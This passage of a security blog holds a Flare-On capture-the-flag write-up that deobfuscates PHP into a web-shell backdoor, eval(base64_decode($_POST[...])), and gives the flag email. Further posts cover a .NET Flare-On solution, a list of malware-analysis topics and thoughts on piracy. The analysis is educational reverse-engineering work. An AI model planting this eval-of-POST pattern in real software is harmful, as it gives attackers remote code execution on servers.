77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 3
7, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);

$do_me="";
for($i=0;$i    $do_me=$do_me.$terms[$order[$i]];
}

print_r("$do_me");
eval($do_me);
?>

Added a few print statements into it... and printed it's content to the screen. This was the result.

$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';
 
$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';
 
$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
 
eval($___($__));

ASCII Decoding $___ gives --> eval(bAsE6d_DeCoDe($__)). So we Base64 decode $__ and get:

$code=base64_decode($_);
eval($code);

So we have to now decode $_ .. sigh...this is what we now get.

'if(isset($_POST["\\97\\49\\49\\68\\x4F\\84\\116\\x68\\97\\x74\\x44\\x4F\\x54\\x6A\\97\\x76\\x61\\x35\\x63\\x72\\97\\x70\\x41\\84\\x66\\x6C\\97\\x72    \\x65\\x44\\65\\x53\\72\\111\\110\\68\\79\\84\\99\\x6F\\x6D"]))

{
     eval(base64_decode($_POST["\\97\\49\\x31\\68\\x4F\\x54\\116\\104\\x61\\116\\x44    \\79\\x54\\106\\97\\118\\97\\53\\x63\\114\\x61\\x70\\65\\84\\102\\x6C\\x61\\114\\101\\x44\\65\\x53\\72\\111\\x6E\\x44\\x4F\\84\\99\\x6F\\x6D"]) );
}'

That's just a funny mix of hex and decimal ASCII representation. If it'd been any bigger than this I'd have thought of writing a script -  but since it wasn't huge...at under 3 lines... the manual lookup method would be quicker for sure.

This is what I eventually get - a11DOTthatDOTjava5crapATflareDASHonDOTcom

and replacing DOT, AT and DASH we get the 2nd Email address.
a11.that.java5crap@flare-on.com

Fireeye - Flare-On Challenge 1

I've been playing the Flare On challenge recently and got through a few levels. Its good fun and I learnt a few things. I'll write a few short blog posts on the concepts/tools/solutions of each of these challenges as and when I solve them. Here's number 1.

Number 1 is an EXE file. The first thing I always do for any Windows files is open it up in CFF Explorer. The metadata of the file talks about something called Wextract. Wextract is the name of the program in Windows that creates self extracting compressed files. So maybe... its a Zip file...or some other compressed file?

Renamed the file to C1.rar (since I had Winrar on the system) and tried to extract the file. That worked and I get a new EXE file. Throw the new file into CFF Explorer.. its a .NET executable.

The moment I see .NET .. I'm happy... because all .NET binaries can be decompiled and the actual source code retrieved. There are many such decompilers around.. I usually use DotNetPeek or IlSpy - both should be fine for such challenges. Decompiling everything shows that all of the code is in a file called Form1.cs.

On launching the binary and clicking the button shown... the picture changes and some encrypted text is shown on screen. That means that there is some code on the "Click" event that is doing something. Looking at the code shows that this is indeed the case.

There is a decode function that is triggered when a button is clicked. This basically pulls some string from the "Resources" of the program and runs the algorithm on that string. The result of that "decoding" is the junk that you see on screen.

Now .. there's nothing else in the code. At this point you know what the code is doing. So where's the flag? Well...think. You found code which encrypts A and gives you B. Neither A or B are useful. But we need some plain text EMail address... that is the final flag. This means that..we need to look for other encrypted strings to run this algorithm on.

Searching more using CFF Explorer reveals a resource called dat_secret.encode. Use the inbuilt hex editor in CFF Explorer to identify the hex bytes that are to be decoded. This is the input that needs to be passed to the decoding function.

So I pull the code from Form1.cs out and load it into an online decompiler at http://ideone.com/. I'm not too good at all at .NET so it takes me a while to compile the code :)..but eventually I manage to decode the string. I print out str1, str2, str3 and str4 to see what goes into each of those variables...using the Console.write method.

The Email address is: 3rmahg3rd.b0b.d0ge@flare-on.com

Deeper dive - Malware analysis :)

I've not been blogging for a while..sadly, but I've been learning quite a few things over the last few months and in general continue to keep getting better slowly at reversing and malware analysis - something I always enjoy doing :)

So now, I've decided that now that I know much more about reversing things - than I did a few years ago, I'm going to get deeper into malware analysis and debug all the different types of malware that are found over a period of time and learn ways of anlayzing all of them.

So I  made a list of topics that I'd like to learn over the next few months. I'm familiar with quite a few of them - but not all of them. It probably isn't comprehensive nor do I claim it is - but it's a nice starting point for me. Also, as I learn new things - small or big - I am going to be posting all of that regularly.

So, here's my list :) - do suggest other stuff that you feel could potentially be important and is different from the rest.

• Disk monitoring
• Network monitoring
• Docx
• VBA
• Powershell
• AutoIT
• PDF
• DLL
• JS
• PHP
• ELF
• Flash
• Packed executables
• Routers
• POS
• Memory analysis (Volatility)
• Credit card extractors
• ATM
• Virtual Machine detection
• Bootkits
• Exploit Kits
• Steganography
• Learn to write better signatures (Clamav, Yara, Snort, Suricata)

What is piracy?

So recently, I wanted an ISO for Windows 2000 during a pentest and was finding it hard to get. Obviously, the quickest way is to download it from some torrent somewhere and be done with it.

That though, if you know me, is a bit easier said than done :). I started wondering about .. whether that would count as piracy or not. In the end, someone at work happened to have an ISO and I was spared all that pain. But, I did keep thinking about it..and still wonder...in today's world... with the number of things that are interconnected... is it even possible to avoid using pirated content..at all?

Here are my thoughts on piracy.

-- If it's freely available, and the author has clearly said so, I'm fine using it, irrespective of where I download it from.

-- If it's a trial, I'm fine downloading the trial from anywhere. I'm not open to cracking that software and using it.. even if it is just for myself.

-- If I bought some software but cant find it, but did pay for it sometime, I'm fine downloading similar software with no additional features off a torrent. The logic being, I just misplaced my software and am getting it back from somewhere.

-- If someone bought software and gave it to me for temporary use, I'm fine using it, as long as they are fine giving it to me AND are not using it themselves when they lend it to me. The point here is.. they paid for the software for their personal use (singular) and are not using it themselves. So, they can choose to have anyone else use it instead.

-- Downloading things for free when it's clearly not available for free download IS piracy. You are basically cheating the creator of his/her income. It doesn't matter how badly YOU need it.  That doesn't automatically give you a right to someone's work, without their consent.

-- Youtube videos are tricky. Every video (free or pirated) appears to have a "Standard Youtube license". It's extremely hard to find out which ones are pirated and which are not. I probably view pirated stuff ..unknowingly... all the time. The only clear way to find out is to ask people who uploaded it..I guess. But this isn't practical.. and what if they do not reply? I DONT have an answer for this at all.

I would like to hear the thoughts of anyone who reads this. Do get in touch however you'd like. I'm happy for you to poke giant holes in my arguments, so I can eliminate contradictions in my thought process.. if any.